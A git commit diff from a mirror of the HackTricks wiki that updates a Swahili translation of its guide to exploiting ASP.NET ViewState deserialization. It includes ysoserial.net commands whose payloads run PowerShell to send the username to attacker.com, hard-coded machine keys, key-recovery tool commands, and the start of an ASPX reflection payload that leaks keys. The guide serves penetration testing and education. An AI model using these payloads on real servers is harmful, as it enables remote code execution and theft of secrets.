mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p
This commit is contained in:
parent
49d5dad9e5
commit
87a7f8220b
@ -41,8 +41,8 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
||||
### Test case 1.5 – Kama Test case 1 lakini cookie ya ViewState haitumwi na seva
|
||||
|
||||
Wakandarasi wanaweza **kuondoa ViewState** ili isiwe sehemu ya Ombi la HTTP (mtumiaji hatapokea cookie hii).\
|
||||
Mtu anaweza kudhani kwamba ikiwa **ViewState** haipo, utekelezaji wao ni **salama** kutokana na udhaifu wowote unaoweza kutokea na deserialization ya ViewState.\
|
||||
Hata hivyo, hiyo si hali halisi. Ikiwa tuta **ongeza parameter ya ViewState** kwenye mwili wa ombi na kutuma payload yetu iliyosimbwa iliyoundwa kwa kutumia ysoserial, bado tutakuwa na uwezo wa kufikia **utendaji wa msimbo** kama inavyoonyeshwa katika **Case 1**.
|
||||
Mtu anaweza kudhani kwamba ikiwa **ViewState** haipo, utekelezaji wao ni **salama** kutokana na udhaifu wowote unaoweza kutokea kutokana na deserialization ya ViewState.\
|
||||
Hata hivyo, hiyo si hali halisi. Ikiwa tuta **ongeza parameter ya ViewState** kwenye mwili wa ombi na kutuma payload yetu iliyosimbwa iliyoundwa kwa kutumia ysoserial, bado tutakuwa na uwezo wa kufikia **utendaji wa msimbo** kama ilivyoonyeshwa katika **Case 1**.
|
||||
|
||||
### Test Case: 2 – .Net < 4.5 na EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
@ -61,7 +61,7 @@ Tunaweza pia kufanya hivyo kwa **jumla** ya programu kwa kuweka kwenye faili la
|
||||
</system.web>
|
||||
</configuration>
|
||||
```
|
||||
Kama parameter imekingwa na MAC wakati huu ili kufanikisha shambulio, kwanza tunahitaji funguo iliyotumika.
|
||||
Kama parameter hii imekingwa na MAC, wakati huu ili kufanikisha shambulio tunahitaji kwanza funguo iliyotumika.
|
||||
|
||||
Unaweza kujaribu kutumia [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) kupata funguo iliyotumika.
|
||||
```
|
||||
@ -96,27 +96,27 @@ bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||||
```
|
||||

|
||||
|
||||
Ikiwa umefanikiwa na funguo imepatikana, unaweza kuendelea na shambulio ukitumia [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
|
||||
Ikiwa umebahatika na funguo imepatikana, unaweza kuendelea na shambulio ukitumia [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
|
||||
--generator = {__VIWESTATEGENERATOR parameter value}
|
||||
```
|
||||
Katika hali ambapo parameter ya `_VIEWSTATEGENERATOR` **haitumwi** na seva, **huhitaji** kutoa parameter ya `--generator` **bali hizi**:
|
||||
Katika hali ambapo parameter ya `_VIEWSTATEGENERATOR` **haitumwi** na seva hu **hitaji** kutoa parameter ya `--generator` **bali hizi**:
|
||||
```bash
|
||||
--apppath="/" --path="/hello.aspx"
|
||||
```
|
||||
### Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true
|
||||
|
||||
Katika hii haijulikani kama parameter inalindwa na MAC. Hivyo, thamani hiyo labda imeandikwa kwa siri na utahitaji **Machine Key ili kuandika payload yako** ili kutumia udhaifu huo.
|
||||
Katika hii haijulikani kama parameter inalindwa na MAC. Hivyo, thamani hiyo labda imefungwa na utahitaji **Machine Key ili kufunga payload yako** ili kutumia udhaifu huo.
|
||||
|
||||
**Katika kesi hii** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **moduli iko katika maendeleo...**
|
||||
|
||||
**Kabla ya .NET 4.5**, ASP.NET inaweza **kubali** \_`__VIEWSTATE`\_parameter **isiyoandikwa kwa siri** kutoka kwa watumiaji **hata** kama **`ViewStateEncryptionMode`** imewekwa kuwa _**Daima**_. ASP.NET **inaangalia tu** **uwepo** wa **`__VIEWSTATEENCRYPTED`** parameter katika ombi. **Ikiwa mtu atafuta parameter hii, na kutuma payload isiyoandikwa kwa siri, bado itashughulikiwa.**
|
||||
**Kabla ya .NET 4.5**, ASP.NET inaweza **kubali** \_`__VIEWSTATE`\_parameter **isiyo na usimbuaji** kutoka kwa watumiaji **hata** kama **`ViewStateEncryptionMode`** imewekwa kuwa _**Daima**_. ASP.NET **inaangalia tu** **uwepo** wa **`__VIEWSTATEENCRYPTED`** parameter katika ombi. **Ikiwa mtu atafuta parameter hii, na kutuma payload isiyo na usimbuaji, bado itashughulikiwa.**
|
||||
|
||||
Hivyo, ikiwa washambuliaji wataweza kupata Machinekey kupitia udhaifu mwingine kama vile file traversal, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) amri iliyotumika katika **Kesi ya 2**, inaweza kutumika kufanya RCE kwa kutumia udhaifu wa deserialization wa ViewState.
|
||||
|
||||
- Ondoa parameter `__VIEWSTATEENCRYPTED` kutoka kwa ombi ili kutumia udhaifu wa deserialization wa ViewState, vinginevyo itarudisha kosa la uthibitisho wa Viewstate MAC na udhaifu utafaulu.
|
||||
- Ondoa `__VIEWSTATEENCRYPTED` parameter kutoka kwa ombi ili kutumia udhaifu wa deserialization wa ViewState, vinginevyo itarudisha kosa la uthibitishaji wa Viewstate MAC na udhaifu utafaulu.
|
||||
|
||||
### Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false
|
||||
|
||||
@ -124,11 +124,11 @@ Tunaweza kulazimisha matumizi ya mfumo wa ASP.NET kwa kubainisha parameter ifuat
|
||||
```xml
|
||||
<httpRuntime targetFramework="4.5" />
|
||||
```
|
||||
Mbadala, hii inaweza kufanywa kwa kubainisha chaguo lililo hapa chini ndani ya parameter ya `machineKey` ya faili la web.config.
|
||||
Vinginevyo, hii inaweza kufanywa kwa kubainisha chaguo lililo hapa chini ndani ya parameter ya `machineKey` ya faili la web.config.
|
||||
```bash
|
||||
compatibilityMode="Framework45"
|
||||
```
|
||||
Kama ilivyo katika ya awali, **thamani imefungwa.** Kisha, ili kutuma **payload halali, mshambuliaji anahitaji funguo.**
|
||||
Kama ilivyo katika awali, **thamani imefungwa.** Kisha, ili kutuma **payload halali, mshambuliaji anahitaji funguo.**
|
||||
|
||||
Unaweza kujaribu kutumia [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) ili kupata funguo inayotumika:
|
||||
```
|
||||
@ -147,7 +147,7 @@ python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6
|
||||
```
|
||||

|
||||
|
||||
Mara tu funguo la Mashine halali linapojulikana, **hatua inayofuata ni kuunda payload iliyosimbwa kwa kutumia** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
Mara tu funguo la Mashine halali linapojulikana, **hatua inayofuata ni kuzalisha payload iliyosimbwa kwa kutumia** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
```
|
||||
@ -155,24 +155,24 @@ Ikiwa una thamani ya `__VIEWSTATEGENERATOR` unaweza kujaribu **kutumia** paramet
|
||||
|
||||

|
||||
|
||||
Kufanikiwa kwa kutumia udhaifu wa deserialization wa ViewState kutasababisha ombi la nje ya mtandao kwa seva inayodhibitiwa na mshambuliaji, ambayo inajumuisha jina la mtumiaji. Aina hii ya exploit inaonyeshwa katika uthibitisho wa dhana (PoC) ambayo inaweza kupatikana kupitia rasilimali iliyo na kichwa "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Kwa maelezo zaidi juu ya jinsi mchakato wa unyakuzi unavyofanya kazi na jinsi ya kutumia zana kama Blacklist3r kwa kutambua MachineKey, unaweza kupitia [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
|
||||
Kufanikiwa kwa kutumia udhaifu wa deserialization ya ViewState kutasababisha ombi la nje ya mtandao kwenda kwa seva inayodhibitiwa na mshambuliaji, ambayo inajumuisha jina la mtumiaji. Aina hii ya exploit inaonyeshwa katika uthibitisho wa dhana (PoC) ambayo inaweza kupatikana kupitia rasilimali iliyo na kichwa "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Kwa maelezo zaidi juu ya jinsi mchakato wa unyakuzi unavyofanya kazi na jinsi ya kutumia zana kama Blacklist3r kwa kutambua MachineKey, unaweza kupitia [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
|
||||
|
||||
### Test Case 6 – ViewStateUserKeys inatumika
|
||||
### Kesi ya Mtihani 6 – ViewStateUserKeys inatumika
|
||||
|
||||
Mali ya **ViewStateUserKey** inaweza kutumika **kulinda** dhidi ya **CSRF attack**. Ikiwa funguo kama hiyo imewekwa katika programu na tunajaribu kuunda payload ya **ViewState** kwa kutumia mbinu zilizozungumziwa hadi sasa, **payload haitashughulikiwa na programu**.\
|
||||
Mali ya **ViewStateUserKey** inaweza kutumika **kulinda** dhidi ya **shambulio la CSRF**. Ikiwa funguo kama hiyo imewekwa katika programu na tunajaribu kuunda payload ya **ViewState** kwa kutumia mbinu zilizojadiliwa hadi sasa, **payload haitashughulikiwa na programu**.\
|
||||
Unahitaji kutumia parameter moja zaidi ili kuunda payload kwa usahihi:
|
||||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
```
|
||||
### Matokeo ya Utekelezaji Uliofanikiwa <a href="#poc" id="poc"></a>
|
||||
### Matokeo ya Utekelezaji wa Mafanikio <a href="#poc" id="poc"></a>
|
||||
|
||||
Kwa kesi zote za majaribio, ikiwa payload ya ViewState YSoSerial.Net inafanya kazi **kwa mafanikio** basi seva inajibu na “**500 Internal server error**” ikiwa na maudhui ya majibu “**Taarifa ya hali si halali kwa ukurasa huu na inaweza kuwa imeharibika**” na tunapata ombi la OOB.
|
||||
Kwa kesi zote za mtihani, ikiwa payload ya ViewState YSoSerial.Net inafanya kazi **kwa mafanikio** basi seva inajibu na “**500 Internal server error**” ikiwa na maudhui ya majibu “**Taarifa ya hali si halali kwa ukurasa huu na inaweza kuwa imeharibika**” na tunapata ombi la OOB.
|
||||
|
||||
Angalia [maelezo zaidi hapa](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
|
||||
### Kutupa Funguo za Mashine za ASP.NET kupitia Reflection (SharPyShell/SharePoint ToolShell)
|
||||
|
||||
Washambuliaji ambao wanaweza **kupakia au kutekeleza msimbo wa ASPX wa kiholela** ndani ya mzizi wa wavuti wa lengo wanaweza moja kwa moja kupata funguo za siri zinazolinda `__VIEWSTATE` badala ya kuzitafutia kwa nguvu.
|
||||
Washambuliaji wanaoweza **kupakia au kutekeleza msimbo wa ASPX wa kiholela** ndani ya mzizi wa wavuti wa lengo wanaweza moja kwa moja kupata funguo za siri zinazolinda `__VIEWSTATE` badala ya kuzitafutia kwa nguvu.
|
||||
Payload ndogo inayovuja funguo inatumia madarasa ya ndani ya .NET kupitia reflection:
|
||||
```csharp
|
||||
<%@ Import Namespace="System.Web.Configuration" %>
|
||||
@ -203,20 +203,18 @@ Hii **key-exfiltration primitive** ilitumiwa kwa wingi dhidi ya seva za SharePoi
|
||||
|
||||
## 2024-2025 Mifano ya Uhalifu wa Kweli na Funguo za Mashine Zilizowekwa kwa Nguvu
|
||||
|
||||
### Mawimbi ya “funguo za mashine zilizotangazwa hadharani” za Microsoft (Desemba 2024 – Februari 2025)
|
||||
Microsoft Threat Intelligence iliripoti matumizi mabaya ya tovuti za ASP.NET ambapo *machineKey* ilikuwa imetolewa kwenye vyanzo vya umma (GitHub gists, machapisho ya blogu, tovuti za paste). Maadui walihesabu funguo hizi na kuzalisha vifaa halali vya `__VIEWSTATE` kwa kutumia `ysoserial.net` 1.41 `--minify` na `--islegacy` flags ili kuepuka mipaka ya urefu wa WAF:
|
||||
### Mawimbi ya "funguo za mashine zilizotangazwa hadharani" za Microsoft (Desemba 2024 – Februari 2025)
|
||||
Microsoft Threat Intelligence iliripoti matumizi mabaya ya tovuti za ASP.NET ambapo *machineKey* ilikuwa imetolewa kwenye vyanzo vya umma (GitHub gists, machapisho ya blog, tovuti za paste). Maadui walihesabu funguo hizi na kuzalisha vifaa halali vya `__VIEWSTATE` kwa kutumia `ysoserial.net` 1.41 `--minify` na `--islegacy` flags ili kuepuka mipaka ya urefu wa WAF:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
|
||||
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
|
||||
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
|
||||
--generator=<VIEWSTATEGEN> --minify
|
||||
```
|
||||
Kugeuza funguo za kudumu au kubadilisha kuwa *AutoGenerate* funguo katika Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) hupunguza aina hii ya mashambulizi. {{#ref}}
|
||||
Kugeuza funguo za kudumu au kubadilisha kwa funguo za *AutoGenerate* katika Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) hupunguza aina hii ya mashambulizi.
|
||||
|
||||
{{#endref}}
|
||||
|
||||
### CVE-2025-30406 – Funguo za kudumu za Gladinet CentreStack / Triofox
|
||||
Kudelski Security iligundua kwamba toleo nyingi za CentreStack / Triofox zilikuwa na thamani sawa za `machineKey`, zikiharakisha utekelezaji wa msimbo wa mbali usio na uthibitisho kupitia udanganyifu wa ViewState (CVE-2025-30406).
|
||||
### CVE-2025-30406 – Gladinet CentreStack / Triofox funguo zilizowekwa kwa nguvu
|
||||
Kudelski Security iligundua kwamba toleo nyingi za CentreStack / Triofox zililetwa na thamani sawa za `machineKey`, zikimuwezesha mtumiaji asiye na uthibitisho kutekeleza msimbo wa mbali kupitia udanganyifu wa ViewState (CVE-2025-30406).
|
||||
|
||||
Mshambulizi wa mstari mmoja:
|
||||
```bash
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user